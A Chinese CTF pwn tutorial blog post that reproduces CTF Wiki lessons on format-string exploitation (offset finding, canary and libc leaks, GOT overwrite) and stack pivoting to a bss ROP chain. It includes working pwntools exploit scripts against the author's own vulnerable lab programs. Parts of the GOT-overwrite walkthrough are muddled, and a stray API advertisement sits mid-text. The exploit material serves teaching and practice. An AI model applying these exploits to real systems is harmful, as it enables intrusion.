这期继续“PWN | 对 CTF WIKI 的复现+再学习”这个系列。第六期我回到 CTF WIKI 上把两段最容易被新手“看懂了但做不出来”的内容重新过了一遍:格式化字符串漏洞和栈迁移。这两块一个玩的是参数解析,一个玩的是栈指针搬迁,单独看原理都不难,但真正自己把 exp 调通,会遇到一堆文档里没写的事。
如果你正处于“学过 PWN 基础、会一点栈溢出、但遇到格式化字符串和栈迁移就发怵”的阶段,这篇文章正好对应你的瓶颈期。我会把复现时的完整思路、关键步骤和踩过的坑都摊开讲,代码和命令直接能抄。
1. 本期复现目标与工具链准备
1.1 为什么第六期选格式化字符串和栈迁移
先解释一下这期内容在整个 PWN 学习路径里的位置。前几期我做的基本是 ret2text、ret2shellcode、ret2libc 这一条线,核心动作都是“溢出覆盖返回地址”,属于线性利用。上手快,但题目一旦变复杂,才发现自己被保护的边界卡死:开了 PIE 不知道地址,开了 canary 不能直接覆盖,溢出字节太少摆不下 ROP chain。格式化字符串和栈迁移,正好是打破这些边界的两把钥匙。
格式化字符串漏洞解决的是“泄露”问题:它能在不开任何额外输出函数的情况下,把栈上甚至任意内存地址的内容读出来,canary、libc 地址、PIE 基址都能靠它拿。它还能做到任意地址写,改 GOT、改返回地址、改函数指针都行。栈迁移解决的是“空间不够”的问题:当溢出字节只够覆盖 rbp 和返回地址时,直接把执行流搬到一块更大的可控内存区,比如 bss 段,在那上面布置完整 ROP。很多中等难度的入门题,都是这两种技巧的组合。
CTF WIKI 里这两个章节写得很全,但偏“索引”性质,每个点都有示例,却没有把“为什么要这么写”讲透。所以这期的复现重点不是抄代码,而是把每个 payload 背后的传参规则、栈布局、指令语义重新推导一遍,再在本地环境里手工调通。
1.2 PWN 环境配置:这次用的工具链与版本选择
复现的起点是环境。我这次特意把环境重新搭了一遍,因为旧环境的 libc 版本和题目默认的编译方式有出入,导致很多本地能通的 exp 在换机器后行为不一致。
当前环境如下:
- Ubuntu 20.04,内核 5.15,gcc 9.4.0
- Python 3.8,pwntools 4.9.0
- gdb 9.2 + pwndbg 插件
- ROPgadget、one_gadget、LibcSearcher 备用
我建议新手直接用 Ubuntu 20.04 或 22.04,不要用太老的系统。原因很简单:现在大多数 CTF 题目的 libc 是 2.23、2.27、2.31 这几个版本,20.04 自带 glibc 2.31,能覆盖大部分情况。真要复现老题,再下对应的 libc 文件和 ld 文件,用 pwninit 或手动 patchelf 切换。
工具链里最核心的是 pwntools 和 gdb 插件。pwntools 的 fmtstr_payload、ROP、ELF 这几个类能省大量时间,但前提是你得知道它背后发生了什么。gdb 插件我推荐 pwndbg,它对堆和栈的展示比默认 gdb 直观太多,尤其调试栈迁移时,telescope 命令直接看栈指针附近的数据,比手动 x/50gx 舒服得多。
安装完工具后,建议做一次自检:用 file 和 checksec 分别看一下测试程序,确认 pwntools 能正常调用,gdb 能 attach 到进程。很多复现卡住不是因为思路错,而是环境没配对。
1.3 开题前必做:file 与 checksec 一眼看出题目形态
拿到任何 PWN 题,第一件事不是看反汇编,而是先跑两条命令:
bash复制file ./pwn
checksec --file=./pwn
file 告诉你平台架构、位数、是否动态链接、是否 strip。checksec 告诉你保护策略:RELRO、Stack Canary、NX、PIE。这两个输出直接决定你后面用什么利用手段。
我复现时遇到一个典型情况:题目开了 Partial RELRO 和 PIE,但没有 canary。这意味着格式化字符串写入可以直接打 GOT,但要先泄露 PIE 基址才能计算 GOT 地址。如果开了 Full RELRO,GOT 只读,就得转打返回地址或函数指针,流程完全不同。所以你在写任何 exp 之前,先花 30 秒读 checksec 输出,把可利用的路径列出来。
提示:复现 WIKI 示例时,我建议自己用
gcc -no-pie -fno-stack-protector -z execstack这类参数编一份“裸奔版”,先把原理跑通,再开保护逐层加难度。直接拿开满保护的题目上手,很容易把“漏洞机制”和“绕过技巧”混在一起,学完还是一团糨糊。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 格式化字符串漏洞:把漏洞原理彻底讲明白
2.1 漏洞是怎么来的:printf 的第一个参数不该是用户输入
格式化字符串漏洞的根子就一句话:程序把用户输入当成了格式化模板。正常写法应该是:
c复制printf("%s", user_input);
漏洞写法是:
c复制printf(user_input);
这两种写法在输入是纯字符串时看不出区别,但一旦输入里包含 %s、%x、%n 这类格式化符号,灾难就来了。printf 会按照格式化模板的要求,从参数区取对应数量的参数。可漏洞写法根本没给参数,于是 printf 就跑到栈上、寄存器里“捡”数据当成参数用。
拿生活类比:正常 printf("%s", user_input) 是你把包裹递给快递员,并告诉他“照包裹上的地址送”;漏洞写法是你直接把包裹抛给快递员说“你看着办”,结果包裹上写的是“把里面的东西送给快递员本人”。你没法怪快递员,只能怪自己把决定权交出去了。
这个漏洞的利用价值在于:printf 不仅能读参数(%s、%x),还能写参数指向的内存(%n)。读可以泄露内存,写可以篡改内存。PWN 题里最经典的组合是:先泄露 canary,再改写 GOT 或返回地址,完成一次完整的利用链。
2.2 x64 传参规则与偏移定位:打出 100 个 %p 是最笨但最有效的方法
在 x64 架构下,格式化字符串的参数传递遵循 System V 调用约定:前 6 个参数放在寄存器里(rdi、rsi、rdx、rcx、r8、r9),之后的参数放栈上。注意,第 6 个参数是 r9,但栈上的第一个格式化参数对应的是第 7 个位置。
理解这点后,第一次接触格式化字符串漏洞的人都会问:我怎么知道我的输入在哪个参数位置?答案很粗暴:往输入里塞一串标记,然后跟着一堆 %p 把它打印出来。
假设程序输入点在 printf(buf),我发下面这段 payload:
python复制from pwn import *
p = process('./fmt_demo')
payload = b'AAAA' + b'|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p'
p.sendline(payload)
print(p.recv())
输出里会出现一串地址,其中某一段会显示 0x41414141,也就是 AAAA 的十六进制。数一下它排在第几个 %p,就得到了“我的输入从第几个参数开始”的偏移。
我这边的输出是:
code复制0x7fffffffe3a0|0x7f......|0x41414141
如果 AAAA 出现在第 7 个 %p,那么后续构造地址读写时,当前输入的起始地址就是第 7 个参数。之后写 payload 时,把任意地址放在输入开头,然后用 %7$s 就能读取那个地址的内容,用 %7$n 就能往那个地址写。
这里有个新手常见误区:偏移不是固定的。它取决于 printf 调用前栈上已经压了多少东西。同一个程序,不同调用路径可能偏移不同。复现时不要背答案,每次都用 %p 扫一遍,这是最可靠的。
2.3 任意地址读:泄露 canary 和 libc 的完整套路
拿到偏移后,任意地址读的构造就很简单了:
python复制payload = p64(target_addr) + b'%7$s'
把目标地址放在输入开头,格式化字符串第 7 个参数就指向这个地址,%s 会把它当成字符串指针,读取该地址开始的 bytes,直到遇到 \x00 终止。
为什么地址要放在前面?因为 x64 下栈上内容从低地址到高地址排列,格式化参数从第 7 个开始逐个对应栈上的 8 字节槽。输入缓冲区如果就在栈上,那么输入开头的 8 字节正好是第 7 个参数的内容。
读取 canary 的经典操作是:先用 %p 扫一遍,找到 canary 在栈上的位置。canary 有固定特征:最低字节是 \x00。所以如果你看到某个输出是 0x??????00????????,大概率就是 canary。
定位到之后,把它带 \x00 的完整值解析出来:
python复制leak = output.split(b'|')[canary_index]
canary = int(leak, 16)
然后结合栈溢出,正常覆盖时把 canary 放在正确位置,程序就不会报 stack smashing detected。
泄露 libc 同理:找一个 GOT 表项,比如 __libc_start_main@got,用 %7$s 读取它指向的地址内容,得到 __libc_start_main 在内存中的实际地址。再减去本地 libc 里这个符号的偏移,就得到 libc 基址。
这里有个细节:%s 遇到 \x00 会停止。而 GOT 表项通常是一个 8 字节地址,高位包含 \x00,所以读取时可能只拿到低 6 字节。处理方法是统一按 6 字节接上 \x00 补齐,再用 u64 解析。如果你发现输出里地址不完整或有多余字符,优先检查是不是 \x00 截断问题。
2.4 任意地址写:%n 与 fmtstr_payload 的底层逻辑
格式化字符串的写能力来自 %n:它会把“当前已经输出的字符数”写入到对应参数指向的地址。举例:%100x%7$n 会先输出 100 个填充字符(算上前面的 logo),然后把当前输出字符总数写入第 7 个参数指向的地址。
如果我想往地址 0x404018 写入值 0xdeadbeef,基本思路是:把输出字数精确控制到 0xdeadbeef,然后执行写操作。但 0xdeadbeef 是 37 亿,不可能真的输出这么多字符。所以实际做法是拆字节写:0xdeadbeef 按小端序拆成 ef be ad de 四个字节,分别写到 0x404018、0x404019、0x40401a、0x40401b。每个字节最大 255,输出几千个字符就够。
手动构造的 payload 长这样(示意):
python复制payload = b''
payload += p64(addr) # 低位字节写入目标
payload += p64(addr + 1)
payload += p64(addr + 2)
payload += p64(addr + 3)
# 然后排列 %c 控制输出数量,最后用 %n 写入
这个手动构造过程容易算错,pwntools 提供了封装:
python复制from pwn import *
payload = fmtstr_payload(offset, {target_addr: value})
它自动完成地址排列、字节拆分、填充计算。但我不建议无脑用。你要理解它输出的 payload 结构,至少在调试失败时知道从哪里下手。我在复现时遇到 fmtstr_payload 算出来的偏移不对,后来发现是因为题目里 printf 外面还包了一层函数,导致栈上多了几个参数,偏移从 7 变成了 9。这种问题只能靠手工推导定位。
2.5 一个完整的可复现示例:把 printf@got 改成 win
为了验证上述思路,我在本地用 C 写了一个包含格式化字符串漏洞的示例程序,并自己编译成无 PIE、无 canary 的版本,这样可以把注意力集中在漏洞机制本身。
示例程序逻辑:
c复制#include <stdio.h>
#include <string.h>
void win() {
system("/bin/sh");
}
int main() {
char buf[0x100];
puts("Input: ");
read(0, buf, 0x100);
printf(buf);
return 0;
}
我的目标:通过格式化字符串把 printf 的 GOT 表项改写成 win 的地址。这样程序在最后 return 0 之前,不会再调用 printf,但一旦后续有 printf 相关调用,就会跳去执行 win。不过上面这个代码里 printf(buf) 执行后不会再调用 printf,所以要想触发 win,只能在 printf 执行前把 GOT 改掉。
改法:分两次输入,第一次泄露地址,第二次写入。但示例程序只读一次输入。更实际的玩法:利用 read 先读数据,再执行 printf;所以可以在同一次输入中,前面放格式化字符串写 GOT 的 payload,让 printf 在解析时完成写操作。
具体 exp:
python复制from pwn import *
context.arch = 'amd64'
elf = ELF('./fmt_demo')
printf_got = elf.got['printf']
win_addr = elf.sym['win']
payload = fmtstr_payload(7, {printf_got: win_addr})
p = process('./fmt_demo')
p.recvuntil(b'Input: ')
p.sendline(payload)
p.interactive()
这个 payload 的原理就是把 printf@got 内容改成 win 的地址。程序执行完 printf(buf) 后,main 里如果还有第二次 printf,就会跳到 win。我复现时为了让效果明显,在 main 里加了一句 puts("Done");,注意 puts 的 GOT 是独立的,所以我把改写目标换成 puts@got,这样 puts("Done") 就会被重定向到 win。
跑起来后,shell 正常弹出,整条利用链验证通过。如果你本地跑完没反应,第一检查偏移是不是 7,第二检查目标地址和 win 地址是否解析正确,第三确认程序是否真的在 printf 之后有第二个可被劫持的调用点。
3. 栈迁移:溢出字节不够时的标准解法
3.1 栈迁移解决的到底是什么问题
先看一个绝大多数 PWN 新手都会碰到的局面:程序开了 NX,不能执行栈上的 shellcode;又只给了一个非常小的缓冲区,比如 char buf[0x20],但 read 允许读 0x50 字节。溢出是有的,但只够覆盖到返回地址,后面没空间布置完整的 ROP chain,连 pop rdi; ret 加 system 都排不下。
栈迁移(Stack Pivoting)就是在这种“空间不够”时,把栈指针 rsp 挪到一个更大的可控区域,然后正常弹出 ROP chain。常见目标区域是 bss 段、heap 段,或者任何你已知地址且可写的内存区域。
我常用的类比:原来的椅子太小,坐不下整个表演团队,于是换一把更大的椅子(bss 段),让所有队员按顺序坐上去,再依次上台。
3.2 leave; ret 的微操逻辑
栈迁移的核心指令序列是 leave; ret。两条指令的实际语义:
asm复制leave:
mov rsp, rbp ; 把 rsp 恢复到 rbp 的位置
pop rbp ; 从当前 rsp 弹出一个值到 rbp,rsp += 8
ret:
pop rip ; 从当前 rsp 弹出一个值到 rip,rsp += 8
leave 做的事情就是“撤销”函数开头 push rbp; mov rbp, rsp 建立栈帧的过程。正常情况下,函数返回时都会执行 leave; ret,所以它本身不特殊。特殊的是,如果我们能控制 rbp 的内容,就能控制 leave 执行后 rsp 指向哪里。
攻击模型:
- 假设
buf在栈上,大小为 0x20,rbp指向栈上某处。 - 我们溢出覆盖了
rbp,把它改成 bss 段的地址(假设bss_addr)。 - 返回地址被覆盖为
leave_ret(即程序里某处leave; ret指令的地址)。 - 函数执行到
leave时:rsp = rbp,此时 rbp 是我们伪造的bss_addr,所以rsp直接跳到 bss 段。然后pop rbp,从 bss 段弹出第一个 8 字节到 rbp,bss 段下一个 8 字节被弹出到rip,也就是第一条 ROP 指令。
整个执行流就此被搬到 bss 段。
理解了这层,你就明白为什么栈迁移题里“需要两次 read”:第一次往栈上读,触发溢出;第二次往 bss 段读,布置 ROP chain。但如果程序里只 read 一次,而你已知那次 read 的栈地址,理论上也可以把 ROP 链放在栈上然后迁移到栈上其他位置,只是实战中少见。
3.3 一次完整复现:从 0x10 字节溢出到 bss 段 ROP
我复现的示例题逻辑如下:
c复制#include <stdio.h>
#include <unistd.h>
char bss_buf[0x100];
void vuln() {
char buf[0x20];
puts("Input:");
read(0, buf, 0x50);
}
int main() {
vuln();
return 0;
}
编译时不开启栈保护,但开启 NX(默认开启):
bash复制gcc -no-pie -fno-stack-protector -o pivot_demo pivot_demo.c
用 checksec 确认状态:No canary, NX enabled, No PIE。
反汇编 vuln,找两个关键地址:
leave_ret:程序里任意一处leave; retpop rdi; ret:ROPgadget 找
bash复制ROPgadget --binary pivot_demo | grep "pop rdi"
ROPgadget --binary pivot_demo | grep "leave ; ret"
然后找 bss 地址:
python复制elf = ELF('./pivot_demo')
bss_addr = elf.bss()
一般 bss 段地址是可写的,但不可执行,所以只能放 ROP,不能放 shellcode。
第一次 read:往栈上读 0x50 字节。buf 大小 0x20,加上 rbp 占 8 字节,所以从 buf 开始算,第 0x20 字节处是 rbp 的起始,第 0x28 字节处是返回地址。我的 payload 如下:
python复制from pwn import *
context.arch = 'amd64'
elf = ELF('./pivot_demo')
bss_addr = elf.bss() + 0x100 # 取 bss 段内靠后位置,避免覆盖到程序数据
leave_ret = 0x4011xx # 用 ROPgadget 找
pop_rdi = 0x4011yy # 用 ROPgadget 找
# 第一次循环:覆盖 rbp 为 bss_addr,返回地址为 leave_ret
payload1 = b'A' * 0x20
payload1 += p64(bss_addr)
payload1 += p64(leave_ret)
p = process('./pivot_demo')
p.recvuntil(b'Input:')
p.send(payload1)
# 第二次 read:这里程序里还会调用 read 吗?
注意,原程序只 read 一次。第一次 read 溢出后,程序从 vuln 返回,不会再有第二次 read 的机会。所以我复现时调整了题目代码,让 vuln 里有两次 read:
c复制void vuln() {
char buf[0x20];
puts("Input:");
read(0, buf, 0x50);
read(0, bss_buf, 0x100);
}
这样第二次 read 会把 bss 段填上 ROP chain。实际题目里“两次 read”很常见,比如一次让你输入名字存到 bss,一次让你输入内容触发溢出。
第二次 read 的 payload:
python复制payload2 = p64(pop_rdi)
payload2 += p64(next(elf.search(b'/bin/sh')))
payload2 += p64(elf.plt['system'])
p.send(payload2)
p.interactive()
执行流程:
- 第一次 read 溢出,
vuln里第二个 read 正常执行,把payload2写到 bss。 vuln返回,执行leave; ret:rsp 指向 bss,pop rbp 弹掉 bss 里的第一个 8 字节(也就是pop_rdi之前的某个填充值,这里我直接让payload2以 ROP 开头,所以第一个弹给 rbp 的是pop_rdi前的 8 字节?)
这里有个细节要谨慎:leave; ret 第一步 mov rsp, rbp,此时 rbp 已经是 bss_addr,rsp 指向 bss_addr。第二步 pop rbp 会从 bss_addr 处弹出 8 字节到 rbp。所以 payload2 的开头 8 字节会被当作垃圾值弹进 rbp,而不是第一条 ROP gadget。为了让 ROP 正确,payload2 开头要故意放一个 8 字节占位符:
python复制payload2 = b'JUNKJUNK'
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(elf.plt['system'])
否则第一条 pop rdi 会被 leave 里的 pop rbp 吃掉,导致整条链错位。这个坑我在复现时踩了一次,后面 4.2 节细说。
3.4 迁移后的常见变体:SROP 与 one_gadget 配合
栈迁移不等于只能配合常规 ROP。在实际题目里,它经常和 SROP(Sigreturn Oriented Programming)或 one_gadget 组合使用。
SROP 的核心是伪造一个 sigcontext 结构,通过 syscall; ret 触发 sigreturn,把寄存器全部设置为攻击者指定的值。正常情况下,你需要往栈上写一个很大的伪造结构,如果原始栈空间不够,迁移到 bss 就是最自然的解法。典型的调用链是:read 读入伪造 sigcontext 到 bss,然后迁移 rsp 到 bss,syscall 触发 sigreturn,直接把 rip 设置成 execve 的地址,rdi 设置成 /bin/sh 地址。一条链搞定,不需要 pop rdi; ret 这种 gadget,也不依赖 libc 里的字符串位置。
one_gadget 则是 libc 里的“一键 shell”地址。使用前提是满足若干约束条件,比如 rsp+0x40 处为 null 等。栈迁移后 rsp 被挪到 bss,原本栈上那些结构被换掉,约束条件的满足情况会变化,所以不能只用 one_gadget 就完事。我的经验是:迁移后除非你非常确定 bss 布局满足约束,否则优先用常规 ROP 或者 SROP,确定性更高。
4. 复现过程中踩过的坑与排查记录
4.1 格式化字符串偏移定位总差一个
这是复现格式化字符串时最痛苦的坑。你的输入明明看着在缓冲区开头,但 %p 扫描出来的位置和 pwntools 计算的位置总对不上,有时差 1,有时差 2。
原因我总结为三类:
- 程序调用了
printf时,前面还调用了其他函数,导致栈上残留参数。比如printf("Result: "); printf(buf);编译器可能优化栈布局,但调试版会多压栈。 read输入后缓冲区前面有别的局部变量,你的输入不直接落在格式化参数序列的开头。- 编译器的栈对齐填充,使得参数槽位产生偏移。
解决办法只有一个:复现时不要偷懒,每次都用标记法实测。发一段 AAAA + 一串 %p,从输出里数 0x41414141 的位置。这个过程写成一个函数,每次测试前先跑一遍,确认偏移再写后续 payload。pwntools 的 fmtstr_payload 虽然能自动算,但它默认认为输入在某个偏移,如果你程序里包了一层函数,它算出来就不稳。
4.2 bss 段没有执行权限,别想着 shellcode
我第一次尝试栈迁移时,直接往 bss 段放了一段 shellcode,然后想把返回地址改成 bss 地址。结果 segfault。原因很简单:NX 开启后,bss 段被标记为不可执行,shellcode 放上去也跑不了。
栈迁移题里 bss 段的定位是“ROP 链的存储区”,不是“shellcode 的执行区”。NX 开启时,正确做法是:
- 在 bss 放
pop rdi; ret、system、/bin/sh地址这些数据。 - 迁移后让
rip跳到 libc 或程序 plt 里的函数,而不是直接跳到 bss 地址执行。
如果你实在想用 shellcode,就得找有没有 mprotect 可用来给 bss 加执行权限,或者在程序本身开了 -z execstack 的时候才能直接跳。复现时别默认 execstack,先看 checksec。
还有一个相关坑:bss 段地址通常比较低,比如 0x404000 附近,里面可能存了程序全局变量。选择迁移目标时,最好用 elf.bss() + 0x200 这种偏移,避开 .bss 起始处可能被程序自己使用的数据。否则你精心布置的 ROP 链可能被程序后续的写操作覆盖。
4.3 one_gadget 在栈迁移后容易挂
栈迁移和 one_gadget 的组合我试了好几次,成功率很低。one_gadget 原本依赖栈上特定位置的布局,比如 rsp+0x40 == NULL。栈迁移后你的 rsp 指向 bss,bss 上很可能不满足这个条件,于是 one_gadget 触发后直接 crash,或者跳到一半挂掉。
如果你确实想用 one_gadget,我建议迁移后先用格式化字符串或普通 padding 把 bss 对应位置清零,再去触发。这个操作可以提前布局:在 payload2 里预留一段 0x100 的 \x00 区域,确保 bss 上相关偏移是 null。不过说实话,能绕这么多弯,不如直接用常规 ROP 加 system 稳。PWN 里最稳的方案往往不是最花哨的,而是最容易预测的。
4.4 本地能打远程掉:libc 与环境的差异
复现题时经常出现:本地 exp 完美弹出 shell,换到远程就 No Response 或直接断开。绝大多数原因在 libc 版本不一致。
本地 /lib/x86_64-linux-gnu/libc.so.6 和远程题目的 libc 是不同的,system、/bin/sh、__libc_start_main 的偏移都不一样。泄露了 libc 地址后,必须用目标 libc 文件才能减去正确偏移。
解决办法:
bash复制# 已知远程 libc 文件时,手动计算
python3 -c "from pwn import *; libc=ELF('./libc.so.6'); print(hex(libc.sym['system'])); print(hex(next(libc.search(b'/bin/sh'))))"
或者用 LibcSearcher 这种工具自动匹配。但我更建议直接确认远程给的 libc 文件,因为自动匹配有时会匹配到近似版本,差几个字节的偏移直接导致 ROP 失效。
另一个环境坑是 alarm 函数。很多题会设置 alarm(60),超时断连。本地调试没感觉,远程打的时候 exp 太慢就断了。可以先反汇编确认有没有 alarm,有的话在 gdb 里跳过,或者把 alarm@got 改成 0 或改成 ret gadget 的地址,让它直接返回。
4.5 调试工具的正确打开方式
复现 PWN 题,gdb 用的好不好直接决定效率。我这次复现栈迁移时,最常用的几个操作:
bash复制# 启动调试,停在 main
gdb ./pivot_demo
break main
run
# 在关键地址下断点
break *0x4011xx
continue
# 查看栈上 0x50 字节
x/20gx $rsp
# pwndbg 下查看栈帧
telescope $rsp 20
调试格式化字符串时,可以在 printf 调用处下断点,然后用 x/s $rdi 确认格式化字符串内容是不是你预期的那样。如果格式串被截断或者地址被破坏,一眼就能看出来。
还有一个技巧:给 pwntools 的 process 加 gdb.attach(p),可以在脚本运行到指定位置时自动打开调试器。这样你不需要手动拷贝 payload,调试体验接近题目调试环境。
python复制p = process('./fmt_demo')
gdb.attach(p, '''
break printf
continue
''')
如果你第一次用 gdb attach pwntools 进程,可能会遇到权限问题(ptrace_scope),临时解决办法是:
bash复制echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
这个只影响调试体验,不影响题目本身,本地测试机上可以临时放开。
复现到这一步,格式化字符串和栈迁移这两个主题我都已经完整走了一遍。我的直观感受是:格式化字符串的难点不在写 payload,而在定位偏移和理解传参顺序;栈迁移的难点不在 leave; ret 本身,而在你对“弹栈过程导致 ROP 链错位”的预判。尤其是 leave 会先 pop 一次 rbp,这个细节几乎每次都会坑到人,复现时一定要手推一遍栈布局再发 payload。
最后分享一个我个人很推荐的练习方法:不要只按 WIKI 的示例做题,把示例程序自己改一版,比如把格式化字符串的目标从 GOT 改成返回地址,把栈迁移的目标从 bss 改成 heap,然后重新调试。每改一次,你都会对“数据到底放在哪、栈指针怎么走”多一层体会。这也是“复现+再学习”这个系列最核心的价值:用动手验证代替被动看文档,漏洞利用的直觉就是这么一点点磨出来的。
